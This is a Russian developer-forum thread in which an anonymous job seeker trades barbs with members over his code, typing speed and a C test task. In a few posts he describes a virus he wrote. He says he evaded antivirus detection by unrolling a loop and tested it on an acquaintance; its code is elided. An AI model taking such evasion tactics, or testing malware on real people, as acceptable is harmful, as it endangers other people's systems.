FDS>>Я поэтому и спросил, что вы ляп допустили, дак может знаете как они устроены: ан нет.

А>Вообще-то знаю. Я ведь вам сказал об этом.

FDS>>(они шифруют сами себя, оставляя очень маленький клочок кода расшифровки.

А>Я об этом и говорил.

FDS>>А вот у вас программа будет очень большой и антивирус легко её распознает, несмотря на модификации)

А>Это был не единственный кусок кода, который я модифицировал. И AV уже не орал. А писать шифратор у меня не было необходимости, потому что, как я уже говорил, вирусы и иже с ними я забросил после этого.

Ладно, извините, но конкретно фирме в СПБ я вас не могу посоветовать: ляпы есть (в Москве вас бы взяли

, тысяч на 10 рублей). Вообще, попробуйте государственные организации (НИИ и КБ, например), там немного платят, но частенько требуется хоть кто-то: на жизнь хватит.

не кормите тролля

Здравствуйте, FDSC, Вы писали:

FDS>Ладно, извините, но конкретно фирме в СПБ я вас не могу посоветовать

От вас каких-либо рекомендаций я и не жду. И ни от кого не жду, кто пишет в этой теме.

FDS>ляпы есть

Нет, нету ляпов. Всё, что вы перечислили, может быть являлось бы ляпом в крупном проекте. Но в этом сраненьком вирусе... Нет! Хм. Вы ещё не видели другого кода из этого же вируса. Да и вообще, вирус полностью рабочий.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Ладно, извините, но конкретно фирме в СПБ я вас не могу посоветовать

А>От вас каких-либо рекомендаций я и не жду. И ни от кого не жду, кто пишет в этой теме.

Ну что ж, ещё раз извините. Вообще-то неплохо, я думал по вашим сообщениям, что хуже. (но в СПБ не могу: там нужно получше)

FDS>>ляпы есть

А>Нет, нету ляпов. Всё, что вы перечислили, может быть являлось бы ляпом в крупном проекте. Но в этом сраненьком вирусе... Нет! Хм. Вы ещё не видели другого кода из этого же вируса. Да и вообще, вирус полностью рабочий.

Ну, я ещё в школе писал полиморфный резидентный вирус под DOS: ничего, нормально, то же был рабочий (а потом я для него антивирус писал

, по заданию преподавателя). Просто уровень у вас не тот для той фирмы, которую я знаб, а вообще вы можете найти работу, желаю вам этого.

Здравствуйте, FDSC, Вы писали:

FDS>Вообще-то неплохо, я думал по вашим сообщениям, что хуже. (но в СПБ не могу: там нужно получше)

Это неплохо???? Да это лучший код в мире

Да как вы смеете хаить это???!!!
Ладно, чёрт с вами. Мой код — самый лучший в мире.

И он мне ещё заявляет, что я видите ли "могу найти работу"

Слушайте, да это ещё очень мягко сказано!

Здравствуйте, Nose, Вы писали:

N>не кормите тролля

Всё, я полностю с вами: мне тут то же уже делать нечего: хотя то, что парень тролль не доказано: может правда такой странный попался?

Здравствуйте, <Аноним>, Вы писали:

Читал, читал... Улыбался, улыбался...

И не удержался чтобы не ответить....

M>>Пример можете привести? пример большого ( давайте хотябы на 3 страницы ) алгоритма, который вы в голове смогли продумать настолько чтобы потом безотрывно, с максимальной скоростю его набрать?

А>Например, как-то писал длиный-длиный метод, который извлекал всю информацию о типе (System.Type), о компонентах этого типа (методах, свойствах, событиях, и т.д.), о реализуемых интерфейсах, о базовых типах, применённых аттрибутах и т.п.
А>Уж не помню, сколько он был страниц, но это был очень длинный код... Его набрал чуть больше чем за 2а часа, т.к. чётко представлял себе последовательность действий.

примечание: C# знаю не очень и практически не писал на нем. Так... Изучаю в свободное время..
так вот, недавно писал одну штуку в которой нужно было проверить содержит ли сборка класс реализующий определенный интерфейс и получить атрибуты класса.
хм... Что сказать, строк 15-20 у меня получилось за 10-15 минут с чтением MSDN.

И то я думаю сделал неоптимально.

Откуда у Вас взялось много кода не пойму...

... << RSDN@Home 1.2.0 alpha rev. 654>> -= Windows XP 5.1.2600.131072 =- А в Winamp'e: Enigma — Page Of Cups

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Nose, Вы писали:

N>>не кормите тролля

FDS>Всё, я полностю с вами: мне тут то же уже делать нечего: хотя то, что парень тролль не доказано: может правда такой странный попался?

Они ещё гадают...

Я бы давно уже понял истинну. Ну а вы гадайте, гадайте...

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Вообще-то неплохо, я думал по вашим сообщениям, что хуже. (но в СПБ не могу: там нужно получше)

А>Это неплохо???? Да это лучший код в мире

Да как вы смеете хаить это???!!!
А>Ладно, чёрт с вами. Мой код — самый лучший в мире.

еперь я точно уверен что все это развод. 5 балов. отличная шутка

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Вообще-то неплохо, я думал по вашим сообщениям, что хуже. (но в СПБ не могу: там нужно получше)

А>Это неплохо???? Да это лучший код в мире

Да как вы смеете хаить это???!!!
А>Ладно, чёрт с вами. Мой код — самый лучший в мире.

А>И он мне ещё заявляет, что я видите ли "могу найти работу"

Слушайте, да это ещё очень мягко сказано!
Теперь я уверен, что это развод. Нормальный человек не будет такое писать.

PS: А может у вас мания величия?

Здравствуйте, Shtirliz, Вы писали:

S>хм... Что сказать, строк 15-20 у меня получилось за 10-15 минут с чтением MSDN.

И то я думаю сделал неоптимально.

S>Откуда у Вас взялось много кода не пойму...

Вообще-то я говорил о намного больших возможностях, а именно о получении полной информации о типе (за исключением дизассемблирования) + у меня там свои навороты, необходимые для конкретной задачи.

Здравствуйте, Lonely Dog, Вы писали:

LD>PS: А может у вас мания величия?

Нет, не мания величия. Просто не люблю, когда принижают мои знания.

Здравствуйте, mogadanez, Вы писали:

А>>Ладно, чёрт с вами. Мой код — самый лучший в мире.

M>еперь я точно уверен что все это развод. 5 балов. отличная шутка

Хм. Развод на что? На что вас, товарищи, можно развести? Вот скажите мне.
Нет, это не развод.

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Почему вы это не сделали через цикл?

А>Это одна из модификаций. Чтобы антивирусы не палили.

т.е. ты хочешь сказать что в оптимальном варианте палили? не верится чтото

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Lonely Dog, Вы писали:

А>>И он мне ещё заявляет, что я видите ли "могу найти работу"

Слушайте, да это ещё очень мягко сказано!
LD>Теперь я уверен, что это развод. Нормальный человек не будет такое писать.

Нееее.
Думаю, это именно развод.
Может пора все-таки показать свое лицо.
Аууууу, Маска, покажите свое лицо.

Здравствуйте, Lonely Dog, Вы писали:

LD>Нееее.
LD>Думаю, это именно развод.
LD>Может пора все-таки показать свое лицо.
LD>Аууууу, Маска, покажите свое лицо.

Во глупые люди. Да какой развод, а? Разводят обычно на деньги, на вещи или ещё там на что. А здесь на что?

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Lonely Dog, Вы писали:

LD>>Нееее.
LD>>Думаю, это именно развод.
LD>>Может пора все-таки показать свое лицо.
LD>>Аууууу, Маска, покажите свое лицо.

А>Во глупые люди. Да какой развод, а? Разводят обычно на деньги, на вещи или ещё там на что. А здесь на что?

здесь, разве вы сами не признались, что вы — троль?

Здравствуйте, mogadanez, Вы писали:

А>>Это одна из модификаций. Чтобы антивирусы не палили.
M>т.е. ты хочешь сказать что в оптимальном варианте палили? не верится чтото

При чём здесь оптимальность, просто обстоятельства могут сложится так, что какой-то умный товарищ возьмёт да и отправит его в лабораторию антивирусную какую-нибудь. Так и произошло в моём случае. Жертва, на которой я тестировал взяла да и отправила его туда. Мало того, она меня ещё и вычислила, потому что это был мой знакомый

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, Shtirliz, Вы писали:

S>>хм... Что сказать, строк 15-20 у меня получилось за 10-15 минут с чтением MSDN.

И то я думаю сделал неоптимально.

S>>Откуда у Вас взялось много кода не пойму...

А>Вообще-то я говорил о намного больших возможностях, а именно о получении полной информации о типе (за исключением дизассемблирования) + у меня там свои навороты, необходимые для конкретной задачи.

Если разбить на методы, то получится 2-3 экрана максимум а то и меньше.

... << RSDN@Home 1.2.0 alpha rev. 654>> -= Windows XP 5.1.2600.131072 =- А в Winamp'e: Enigma — Tidal Pool (Vocals By Chemda)

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Lonely Dog, Вы писали:

LD>>>Нееее.
LD>>>Думаю, это именно развод.
LD>>>Может пора все-таки показать свое лицо.
LD>>>Аууууу, Маска, покажите свое лицо.

А>>Во глупые люди. Да какой развод, а? Разводят обычно на деньги, на вещи или ещё там на что. А здесь на что?

А>здесь, разве вы сами не признались, что вы — троль?

Уж я не знаю, что вы там вкладываете в слово "тролль", но как раз там я имел в виду, что я НЕ тролль.

Здравствуйте, Lonely Dog, Вы писали:
LD>Нееее.
LD>Думаю, это именно развод.
LD>Может пора все-таки показать свое лицо.
LD>Аууууу, Маска, покажите свое лицо.
Местами на erslgoeirjh похоже

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>Они ещё гадают...

Я бы давно уже понял истинну. Ну а вы гадайте, гадайте...

Многие, я вижу, не правильно истолковали вышестоящее сообщение. В нём я имел в виду как раз противоположное. А именно: я самый обычный (ну ландно, не совсем обычный

) нормальный (ну ладно, не совсем нормальный

) человек, который ищет работу.

ПЕРЕСТАЁМ ПИСАТЬ В ВЕТКУ

здесь

Здравствуйте, Аноним, Вы писали:

А>ПЕРЕСТАЁМ ПИСАТЬ В ВЕТКУ

А>здесь

А может здесь?

Здравствуйте, <Аноним>, Вы писали:

А>ПЕРЕСТАЁМ ПИСАТЬ В ВЕТКУ

А>здесь

Не говори людям что им делать и тебе не скажут куда тебе идти...

... << RSDN@Home 1.2.0 alpha rev. 654>> -= Windows XP 5.1.2600.131072 =- А в Winamp'e: Enigma — Boum-Boum (Wally Lopez Club Ve

Че-то я не понял откуда этот пост взялся и кому он адресован.
Хотя кому бы он ни был адресован, автора надо бы в бан за него

Posted via RSDN NNTP Server 2.0

ПЕРЕСТАЁМ ПИСАТЬ В ВЕТКУ

здесь

Здравствуйте, Аноним, Вы писали:

А>Возьмите меня хоть куда-нибудь!..

Тест Тьюринга не пройден! Я понял, Вы РОБОТ!

ПЕРЕСТАЁМ ПИСАТЬ В ВЕТКУ

здесь

отпишись и не читай...

Здравствуйте, Аноним, Вы писали:

А>up! 8

Ну и бред

Здравствуйте, <Аноним>, Вы писали:

M>>10 страниц текста это примерно 25000 символов. с вашей скоростью печати, за 2 часа ( не отвлекаясь! все время с максимальной скоростью 210*60*2 ) 25200 знаков.
M>>1. Я знаю очень много людей, НИ ОДИН из них не способен печатать 2 часа неотрываясь. Даже девушки секретарши.
А>Я способен и больше. Вообще за компом сижу очень много неотрываясь. Хотя... почему не отрываясь? Ну там покурить на 10 мин можно сходить...
А>Нет, но придумывание названий переменных и их типов занимается наверно четверть секунды, это не есть долго...
M>>2. ДА и не могу я представить ни один четкий алгоритм такого размера.
А>А я могу, т.к. уже писал такие для своих нужд.
Ээээ ... ты бот? Одозначно

Хорошь стебаться, уже никто не верит что ты тот за кого себя выдаешь

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Давненько я тут не был...
Ну что, все как один перестали писать в эту ветку по просьбе неизвестно кого. А если бы этот неизвестно кто размножил сообщение типа "БРОСАЕМСЯ ПОД ПОЕЗД... здесь", а "здесь" была бы ссылкой на картинку, на которой изображено точное местоположение станции, с которой удобнее всего прыгать и как следствие вернее всего прощаться с жизнью, а?

Здравствуйте, Аноним, Вы писали:

А>Давненько я тут не был...
А>Ну что, все как один перестали писать в эту ветку по просьбе неизвестно кого. А если бы этот неизвестно кто размножил сообщение типа "БРОСАЕМСЯ ПОД ПОЕЗД... здесь", а "здесь" была бы ссылкой на картинку, на которой изображено точное местоположение станции, с которой удобнее всего прыгать и как следствие вернее всего прощаться с жизнью, а?

А>

народу надоело стебаться над странным персонажем, вот и все

Здравствуйте, Аноним, Вы писали:

А>Вот некоторые функции (VC++ 6) из него:

А>

А>int SearchForPrivateData ()
А>{
[...]
А>    FindClose (hFind);
А>}
А>

только на глаза попалось. знаешь, это ужасный код. а использование копи-паста вместо цикла, чтобы запутать антивирус — это сильно

А> Вообще скорость набора на английской раскладке максимум у меня доходит до 210 зн/мин.

Вспоминается анекдот.

Нанимают секретаршу, спрашивают ее:
— сколько знаков в минуту у вас скорость печати?
— 2000
— ВАУ!!!
— (в сторону) такая фигня получается

Здравствуйте, mogadanez, Вы писали:

А>> Исходники не дам. А вообще зачем вам они?
M>Я тебя узнал ! ты Голум!

"мое... сокровище..."

Нет, это отнюдь не я

Но ветку читал внимательно,смеялся

Товариши офицеры, вот вы сейчас ничего не слушаете, а потом придет время — вы протона от электрона отличить не сможете!

Итак, я вернулся.
Честно говоря, подумал я... что раз тему не прикрыли, значит есть хорошая возможность писать здесь код. Просто тут достаточно много говорилось о том, что мол покажи исходники миру и тебе воздастся

Да не тут-то было. Исходники я показал идеальные

, но никто на работу не взял. Но что-то мне понравилось исходники выкидывать сюда, если честно

Так что, решил я, буду писать здесь свои самые лучшие в мире исходники, а кому не лень будут их оценивать, на оценки я правда реагировать не буду, т.к. код-то мой — самый лучший в мире

Так что ждите, что-нибудь из своего выкину скоро...

Ну вот, почти готова версия 1.1 моего Useful Pack. Это типо пакет полезных програм. Пока в комплекте только 3 тулзы, сейчас доделаю Service Manager и выкину в нет. И дам сюда ссылку. Там исходники в дистрибутиве. Весит вся эта радость менее метра в дистрибутиве, что радует. В планах сделать более 50 всяких мелких полезных тулз...

P.S. кстати, мы тут с товарищем как-то хотели написать Useless Pack, т.е. пакет бесполезных программ.
уже даже несколько вещей к нему написали

, это были как вы понимаете совершенно бесполезные, но красивые и умные программы...

Здравствуйте, Аноним, Вы писали:

А>Возьмите меня хоть куда-нибудь!..

Приезжайте к нам в москву, с переездом можем помочь.
icq — 246439146

Здравствуйте, Аноним, Вы писали:

А>Итак, я вернулся.

на работу так и не устроился, да?

А>Так что ждите, что-нибудь из своего выкину скоро...

спасибо, что предупредил

Здравствуйте, Аноним, Вы писали:

А>Ну вот, почти готова версия 1.1 моего Useful Pack. Это типо пакет полезных програм. Пока в комплекте только 3 тулзы, сейчас доделаю Service Manager и выкину в нет. И дам сюда ссылку. Там исходники в дистрибутиве. Весит вся эта радость менее метра в дистрибутиве, что радует. В планах сделать более 50 всяких мелких полезных тулз...

а зачем? может лучше тестовые задания поделать да на работу устроиться, чем фигней маяться?

А>P.S. кстати, мы тут с товарищем как-то хотели написать Useless Pack, т.е. пакет бесполезных программ.
А>уже даже несколько вещей к нему написали

, это были как вы понимаете совершенно бесполезные, но красивые и умные программы...

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Ну вот, почти готова версия 1.1 моего Useful Pack. Это типо пакет полезных програм. Пока в комплекте только 3 тулзы, сейчас доделаю Service Manager и выкину в нет. И дам сюда ссылку. Там исходники в дистрибутиве. Весит вся эта радость менее метра в дистрибутиве, что радует. В планах сделать более 50 всяких мелких полезных тулз...

U_E>а зачем? может лучше тестовые задания поделать да на работу устроиться, чем фигней маяться?

Потому что иногда бывает свободное время, понимаете?...

Здравствуйте, Unhandled_Exception, Вы писали:

А>>Итак, я вернулся.

U_E>на работу так и не устроился, да?

В процессе...

А>>Так что ждите, что-нибудь из своего выкину скоро...

U_E>спасибо, что предупредил

Блин, весело...

Здравствуйте, Аноним, Вы писали:

А>Ну вот, почти готова версия 1.1 моего Useful Pack. Это типо пакет полезных програм. Пока в комплекте только 3 тулзы, сейчас доделаю Service Manager и выкину в нет. И дам сюда ссылку. Там исходники в дистрибутиве. Весит вся эта радость менее метра в дистрибутиве, что радует. В планах сделать более 50 всяких мелких полезных тулз...

скоро будет что посмотреть?

а что за тулзы? если полезные, то можно и помочь

, это были как вы понимаете совершенно бесполезные, но красивые и умные программы...

а что может входить в useless pack?

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Аноним, Вы писали:

А>>Ну вот, почти готова версия 1.1 моего Useful Pack. Это типо пакет полезных програм. Пока в комплекте только 3 тулзы, сейчас доделаю Service Manager и выкину в нет. И дам сюда ссылку. Там исходники в дистрибутиве. Весит вся эта радость менее метра в дистрибутиве, что радует. В планах сделать более 50 всяких мелких полезных тулз...

Ovl>скоро будет что посмотреть?

Да, я думаю сегодня.

Ovl>а что за тулзы? если полезные, то можно и помочь

Хм... ну пользу вы оцените сами. А помощь всегда приветствуется

А>>P.S. кстати, мы тут с товарищем как-то хотели написать Useless Pack, т.е. пакет бесполезных программ.
А>>уже даже несколько вещей к нему написали

, это были как вы понимаете совершенно бесполезные, но красивые и умные программы...
Ovl>а что может входить в useless pack?

О, здесь полёт фантазии ничем не ограничен...

А>О, здесь полёт фантазии ничем не ограничен...

у меня он не ограничен, когда надо полезное сделать...
а вот вопрос "что бы ещё сделать бесполезного?" у меня вызывает ступор

Здравствуйте, Ovl, Вы писали:

Ovl>а вот вопрос "что бы ещё сделать бесполезного?" у меня вызывает ступор

Я подскажу )))))))

Кароча, вот прикрепил файл-дистрибутив. Там 3 тулзы. Смотрите, оценивайте, кому интересно...
Для работы каждой тулзы необходим .Net Framework 1.1.

Качать здесь (install.rar).

А>Так что ждите, что-нибудь из своего выкину скоро...
Зачем-же выкидывать-то? А вдруг пригодится еще? Или какой-нибудь гражданин на оставленные без присмотра вещи в милицию заявление напишет? Слышали, что уже есть прецедент в России, когда за сообщения в форумах к суду привлекают? А тут целое нечто, а вдруг оно заразно?

Здравствуйте, notacat, Вы писали:

А>>Так что ждите, что-нибудь из своего выкину скоро...
N>Зачем-же выкидывать-то? А вдруг пригодится еще? Или какой-нибудь гражданин на оставленные без присмотра вещи в милицию заявление напишет? Слышали, что уже есть прецедент в России, когда за сообщения в форумах к суду привлекают? А тут целое нечто, а вдруг оно заразно?

Буагагагагагагага..... Буагага...... Гыыыыы...... Буагыгыгыгыы........ Багагагагага....

Всё развлекаемся, да?

Здравствуйте, Аноним, Вы писали:

А>Всё развлекаемся, да?

LOL

2 модератор: может все таки в "Коллеги, улыбнитесь"?

Здравствуйте, Аноним, Вы писали:

А>Кароча, вот прикрепил файл-дистрибутив. Там 3 тулзы. Смотрите, оценивайте, кому интересно...
А>Для работы каждой тулзы необходим .Net Framework 1.1.

А>Качать здесь (install.rar).

Я так понимаю в вашем AL программа проверяет статус процесса, а затем ждёт интервал с помощью sleep? А не проще было без всяких интервалов обойтись ОДНИМ вызовом WaitForSignleObject?

Здравствуйте, FDSC, Вы писали:

FDS>Я так понимаю в вашем AL программа проверяет статус процесса, а затем ждёт интервал с помощью sleep? А не проще было без всяких интервалов обойтись ОДНИМ вызовом WaitForSignleObject?

Не люблю смешивать Managed и Unmanaged...
А во-вторых, есть способ проще — подписаться на Process.Exited сразу после создания процесса. Но об этом я узнал потом и мне лень было переделывать... Да и так неплохо — процессорное время не жрёт почти и памяти тоже...

Здравствуйте, Аноним, Вы писали:

FDS>>Я так понимаю в вашем AL программа проверяет статус процесса, а затем ждёт интервал с помощью sleep? А не проще было без всяких интервалов обойтись ОДНИМ вызовом WaitForSignleObject?

А>Не люблю смешивать Managed и Unmanaged...
А>А во-вторых, есть способ проще — подписаться на Process.Exited сразу после создания процесса.

а если процесс умрет между созданием процесса и подписыванием на это событие?

Здравствуйте, Аноним, Вы писали:

А>Возьмите меня хоть куда-нибудь!..

Безо всяких подколок и задних мыслей. Простейшая задача — написать функцию на Си, которая удаляет из строки все пробелы (' '). Строка обыкновенная, cишная, null-terminated.

void RemoveAllSpaces(char* str)
{
   . . .
}

Здравствуйте, McSeem2, Вы писали:

MS>Безо всяких подколок и задних мыслей. Простейшая задача — написать функцию на Си, которая удаляет из строки все пробелы (' '). Строка обыкновенная, cишная, null-terminated.

Не мечи бисер перед свиньей. Она это все равно не оценит.

Здравствуйте, McSeem2, Вы писали:

MS>Здравствуйте, Аноним, Вы писали:

А>>Возьмите меня хоть куда-нибудь!..

MS>Безо всяких подколок и задних мыслей. Простейшая задача — написать функцию на Си, которая удаляет из строки все пробелы (' '). Строка обыкновенная, cишная, null-terminated.
MS>

MS>void RemoveAllSpaces(char* str)
MS>{
MS>   . . .
MS>}
MS>

Прокомментируйте пожалуйста, если вам не трудно.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void RemoveAllSpaces(char* str)
{
    int i = 0, j = 0;

    while (1) {
        while (str[i] && str[i] == ' ')
            ++i;

        if (i != j)
            str[j] = str[i];

        if (!str[i])
            break;

        ++i;
        ++j;
    }
}

void test(const char *q, const char *a)
{
    char *s1 = strdup(q);

    RemoveAllSpaces(s1);
    if (strcmp(s1, a))
        printf("\"%s\" FAILED\n", q);
    else
        printf("OK\n");

    free(s1);
}

int main()
{
    test("abc ", "abc");
    test("   abc", "abc");
    test("", "");
    test(" ", "");
    test(" a bb c", "abbc");

    return 0;
}

MS>void RemoveAllSpaces(char* str)
MS>{
MS>   . . .
MS>}
MS>

Не вопрос. Сколько платишь?

Здравствуйте, vsb, Вы писали:

vsb>Прокомментируйте пожалуйста, если вам не трудно.

Это вы кому, мне?

Поздравляю сам себя. Я сделал это! > 500 сообщений!

Здравствуйте, Аноним, Вы писали:

А>Поздравляю сам себя. Я сделал это! > 500 сообщений!

Странно, тока что посмотрел — 459 сообщений.
Кто-то втихаря вырезает неугодные ему сообщения

А может сервак глючный...

Здравствуйте, Аноним, Вы писали:

А>Кароча, вот прикрепил файл-дистрибутив. Там 3 тулзы. Смотрите, оценивайте, кому интересно...
Посмотрел.
Типичные разработки студента. Не в том смысле, что отстой. Не в коем разе. Даже наоборот.
Будучи в институте, сам писал примерно такиеже утилиты. (небольшие, но законченные.)
Готов дать несколько пожеланий, если интересно.

Здравствуйте, Lonely Dog, Вы писали:

А>>Кароча, вот прикрепил файл-дистрибутив. Там 3 тулзы. Смотрите, оценивайте, кому интересно...
LD>Посмотрел.
LD>Типичные разработки студента. Не в том смысле, что отстой. Не в коем разе. Даже наоборот.

Ну хоть кто-то оценил правильно, так как и дОлжно.

LD>Будучи в институте, сам писал примерно такиеже утилиты. (небольшие, но законченные.)
LD>Готов дать несколько пожеланий, если интересно.

Идеи по поводу "чтобы бы такого небольшого ещё написать" приветствуются. Если у тя именно такие идеи — пиши. В паке должны быть небольшие законченные и полезные программы.

Здравствуйте, <Аноним>, Вы проявили себя как интернет-тролль.
На досуге подумайте, в какой тональности стоит разговаривать с коллегами по профессии (надеюсь, что настоящими и будущими, а не уже окончательно бывшими).
Да, кстати. Сообщения в этой ветке — Ваши, но ветка целиком — отнюдь. Вообще-то, Вы продемонстрировали такое качество, как жадность. Тоже повод для размышлений.

Модераторы вытаскивают свои деревянные палки обитые сукном и начинают приглушать звук в этом рояле.
Просьба ко всем участникам не нажимать здесь на клавиши во избежание захлопывания крышки на пальцы.

... << RSDN@Home 1.2.0 alpha rev. 655>>

Здравствуйте, vsb, Вы писали:

vsb>Прокомментируйте пожалуйста, если вам не трудно.

усложнять просто... упрощать — сложно

{
  char *c = str;
  while(*c = *str)
  {
    if (*str != ' ') c++;
    str++;
  }
}

А>>Не 600 на 800, а 800 на 600. Это к слову...

_FR>Будь осторожен — демонстрировать однотипность и стереотипность мышления на собеседовании на должность, связанную с IT очень плохо — бросается в глаза и вызывает негатив. У меня моник на девяносто градусов повёрнут, потому разрешение именно такое, как я указал.

Кстати реально удобнее в таком положении монитора код писать, больше кода единовременно на экране видно, но вот UI рисовать неудобно.

Здравствуйте, mogadanez, Вы писали:

А>> Всё, я к вам точно не пойду. Да я за эти два часа... лучше 10 страниц кода напишу...

M>вы его на бумаге пишете?

M>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

Возможно. Смотря какого кода

))

Здравствуйте, Аноним, Вы писали:

А>Иногда — да. Когда не за компьютером... На лекциях, например...
А>Потом домой прихожу, набираю.

M>>а если серьезно, НЕ ВОЗМОЖНО написать за 2 часа 10 страниц кода. не смешите публику

А>Возможно. Если знаешь что писать, если созрел в голове чёткий алгоритм.

Бред.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Почему вы это не сделали через цикл?

А>Это одна из модификаций. Чтобы антивирусы не палили.

Они такое и не палят. Уж я-то знаю

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Здравствуйте, Аноним, Вы писали:

А>>>Здравствуйте, _FRED_, Вы писали:

_FR>>>>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

А>>>Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А>>>А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...

FDS>>В 8-ой студии оно уже будет заменено на wchar и вы долго будете думать, почему программа не работает.

А>8ая студия вышла около года назад. Я в ней ещё не разбирался, по большому счёту. Этот код 4хлетней давности.

Шифруют себя "шифрующиеся" вирусы, полиморфники это гораздо круче

А>Я бы предпочёл термин "резко", ну да не суть... Это было заслуженно на мой взгляд, т.к. человек занимался *голой критикой*, и не дал ни одного дельного совета, хотя я советов и не просил.

Ну вообще-то человек как раз и дал дельные советы.

Вчера было 399 сообщений, сёдня 400...

Странные какие-то модеры, сначала сотню сообщений удалят, потом по одному возвращают...

D> Возможно. Смотря какого кода

))
html'а ?

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Я обещал отписаться, когда найду работу. Так вот, отписываюсь: работу я нашёл. В Москве. Работа интересная, зарплата ещё интересней, коллектив молодой, слаженный.

Ну в общем, всем "спасибо", кто писал здесь ахинею. Кто писал что-то по делу (их было мало) — тем респект за то, что среди хамья они смогли сохранить себя.

Всем удачи.

Здравствуйте, Blackcomb, Вы писали:

B>Я обещал отписаться, когда найду работу. Так вот, отписываюсь: работу я нашёл. В Москве. Работа интересная, зарплата ещё интересней, коллектив молодой, слаженный.

B>Ну в общем, всем "спасибо", кто писал здесь ахинею. Кто писал что-то по делу (их было мало) — тем респект за то, что среди хамья они смогли сохранить себя.

B>Всем удачи.

так расскажи что и как, где

интересно же

Здравствуйте, Blackcomb, Вы писали:

B>Я обещал отписаться, когда найду работу. Так вот, отписываюсь: работу я нашёл. В Москве. Работа интересная, зарплата ещё интересней, коллектив молодой, слаженный.

учебу бросил??

B>>Я обещал отписаться, когда найду работу. Так вот, отписываюсь: работу я нашёл. В Москве. Работа интересная, зарплата ещё интересней, коллектив молодой, слаженный.

U_E>учебу бросил??

Правильную траву курить начал.

Здравствуйте, Аноним, Вы писали:

А>Вам кажется, это грубо? Вам кажется, что я это сказал человеку совершенно незаслужено? Вы ошибаетесь.
А>Я смотрю не "работодатель/не работодатель", а "хороший человек/плохой человек". Я со всеми стараюсь сначала общаться корректно. Но этот человек сделал не очень хорошо — это называется "влез не туда". Соответственная и реакция.
А>Работодатель (если это нормальный работодатель, а не лохотрон какой-нибудь) не станет мне говорить всякую ахинею...
А>Раз уж затронули эту тему, повторяю: все кто не работодатели, праздношатающиеся и другие субъекты — идите лесом, в моей ветке итак балаган лимитед развели, я работу ищу, а не языком треплю здесь!
А>Пишите только те, кто реально хочет и может предложить мне какую-нибудь работу.

Куда он влез? На форум rsdn.
А для отстаивания авторских прав на ветку хотя бы зарегестрируйтесь на сайте.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>2. Вы серьёзно можете написать 500 строк кода за 120 минут? Я пишу за 120 минут не более 60 строк кода, если только речь не идёт о стандартном алгоритме, типа обход дерева катологов (там я пишу около 200). А ведь у вас по вашему посту опыт меньше, чем у меня.

А>Я не вундеркинд, но это возможно. Я подчёркиваю: если знаешь что писать, если созрел в голове чёткий алгоритм. Т.е. останется только набрать текст, ничего думать уже не надо. Вообще скорость набора на английской раскладке максимум у меня доходит до 210 зн/мин. Если приходится переключаться, то меньше (не засекал). Это одна из причин по которой комменты в тексте программы я пишу на английском.

Так если есть чёткий алгоритм и осталось только записать его, то в чём проблема? Если нанять опытную секретаршу, то можно больше кода наваять.
А вообще, если программа не тривиальная, то скорость печатания слабо влияет на время разработки.
Писать английские комментарии имеет смысл, если их читать будет человек, хорошо владеющий английским. И уж точно за счёт комментариев не надо пытаться сократить время разработки, тем более за счёт переключения раскладки. Программирование — это не спринтерский забег.
Комментарии должны обозначить Вашу мысль, чтобы потом было понятно Вам или сопровождающему программисту разобраться в отдельном куске кода, выражайте свою мысль как угодно, хоть матом, если по другому не получается — это явно лучше, чем надеяться, что читающий этот код будет телепатом.
Да и не думаю, что кто-то ждёт грамматически-правильных комментариев. Главное, чтобы по ним можно было понять то, что не очевидно из листинга программы (например, Ваши намерения на будущее, неудачные варианты, которые Вы попробовали, и они не подходят и почему, пояснение смысла "странного" оператора).
После прочтения комментариев человеку будет легче понять код и при необходимости изменить или исправить.

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, Blackcomb, Вы писали:

B>>Я обещал отписаться, когда найду работу. Так вот, отписываюсь: работу я нашёл. В Москве. Работа интересная, зарплата ещё интересней, коллектив молодой, слаженный.

Ovl>так расскажи что и как, где

Ovl>интересно же

Что — Win32-кодером устроился
Где — секрет
Как — отлично

Здравствуйте, Аноним, Вы писали:

А>Мне 21 год.
А>Живу в Санкт-Петербурге.
А>Есть опыт программирования (не коммерческого) около 3х лет.
А>Языки: Asm/Pascal/C++/C#/VB6/VBA/VB.NET
А>Платформы: Win32 API, Native API, .NET
А>Библиотеки: MFC, ntoskrnl.exe

А>Лучше всего из этого знаю C# и Win32 API.
А>Английский: на уровне чтения MSDN

и другой документации.

А>Работал с сокетами, с протоколами типа FTP, SMTP.
А>Более-менее представляю как работает программа под Windows.
А>Знание HTML есть, на JavaScript могу написать несложные скрипты, на SQL — составить несложный запрос.

А>Из того что я писал:
А>1. Инсталлятор (не IDE, а сам SETUP.EXE) — ещё в 8ом классе
А>2. FTP-клиент, SMTP-клиент
